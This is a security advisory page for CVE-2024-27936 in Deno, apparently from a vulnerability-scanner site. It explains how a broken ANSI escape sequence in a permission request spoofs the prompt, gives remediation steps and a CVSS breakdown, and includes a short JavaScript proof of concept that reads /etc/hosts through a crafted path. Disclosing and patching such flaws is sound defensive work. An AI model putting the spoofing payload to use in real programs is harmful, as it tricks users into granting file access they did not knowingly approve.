Loading...
Skip to main content

CVE-2024-27936

HIGH

Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

Published March 5, 2024Updated June 10, 2024Source: osv

Summary

### Summary A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents. ### Details In [the patch for CVE-2023-28446](https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d), Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences. For example, requesting the read permission with `/tmp/hello\u001b[/../../etc/hosts` as a path will display the `/tmp/hellotc/hosts` in the permission prompt, but the actual permission given to the program is `/tmp/hello\u001b[/../../etc/hosts`, which is `/etc/hosts` after the normalization. This difference allows a malicious Deno program to spoof the contents of the permission prompt. ### PoC Run the following JavaScript and observe that `/tmp/hellotc/hosts` is displayed in the permission prompt instead of `/etc/hosts`, although Deno gives access to `/etc/hosts`. ``` javascript const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" }; await Deno.permissions.request(permission); console.log(await Deno.readTextFile("/etc/hosts")); ``` #### Expected prompt ``` ┌ ⚠️ Deno requests read access to "/etc/hosts". ├ Requested by `Deno.permissions.query()` API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) > ``` #### Actual prompt ``` ┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts". ├ Requested by `Deno.permissions.query()` API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) > ``` ### Impact Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update deno_runtime to 0.147.0 or later
cargo update -p deno_runtime --precise 0.147.0
Cargo
Update deno to 1.41.0 or later
cargo update -p deno --precise 1.41.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

PackageEcosystemAffectedFixed In
deno_runtime
crates.io
All versions0.147.0
deno
crates.io
All versions1.41.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-27936?
Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2024-27936?
CVE-2024-27936 affects deno_runtime and deno. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-27936 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-m4pq-fv2w-6hrw

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies